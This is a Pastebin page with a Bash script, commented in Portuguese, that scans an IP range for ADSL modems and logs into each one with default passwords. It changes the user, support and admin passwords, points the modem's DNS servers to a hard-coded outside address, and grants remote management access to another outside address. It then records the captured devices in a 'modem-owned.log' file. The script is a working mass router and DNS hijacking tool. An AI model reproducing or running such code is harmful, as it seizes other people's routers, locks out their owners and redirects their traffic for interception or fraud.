Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- x=`nmap -V | grep "Nmap version 5.21"`;
- if [ ! "$x" ];
- then
- echo "Erro: verifique o nmap";
- exit;
- fi;
- if [ ! $1 ];
- then
- echo "Digite full.sh [xxx.xxx.xxx]";
- echo "xxx.xxx.xxx sem o ultimo valor pois ele vai automatico de 1 a 254 ;)";
- else
- for (( i=1; i<255; i++ ))
- do
- ip="$1.$i";
- echo "Efetuando disparo $ip";
- x=`nmap -sS $ip -n -p T:80 | grep "Host is up"`;
- if [ "$x" ];
- then
- echo "Trocando Password do ADSL $ip";
- curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?usrPassword=bklchange -d "userName=3&pwdOld=user&pwNew=bklchange&pwCfm=bklchange" > /dev/null;
- if [ $? == "0" ];
- then
- curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?sptPassword=bklchange -d "userName=2&pwdOld=support&pwNew=bklchange&pwCfm=bklchange" > /dev/null;
- curl --max-time 30 --connect-timeout 30 http://$ip/password.cgi?sysPassword=bklchange -d "userName=1&pwdOld=admin&pwNew=bklchange&pwCfm=bklchange" > /dev/null;
- curl --max-time 30 --connect-timeout 30 http://$ip/dnscfg.cgi -d "dnsPrimary=200.98.164.75&dnsSecondary=200.98.164.75&dnsDynamic=0&dnsRefresh=0" -u admin:bklchange > /dev/null;
- curl --max-time 30 --connect-timeout 30 -u admin:bklchange "http://$ip/scacccntr.cmd?action=add&addr=200.98.166.48" > /dev/null;
- curl --max-time 30 --connect-timeout 30 -u admin:bklchange "http://$ip/scacccntr.cmd?action=save&secAccCntrMode=1" > /dev/null;
- v=`curl --max-time 30 --connect-timeout 30 http://$ip/rebootinfo.cgi -u admin:bklchange | grep "DSL Router Reboot"`;
- if [ "$v" ];
- then
- echo $ip >> modem-owned.log
- fi;
- fi;
- fi;
- done
- fi;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement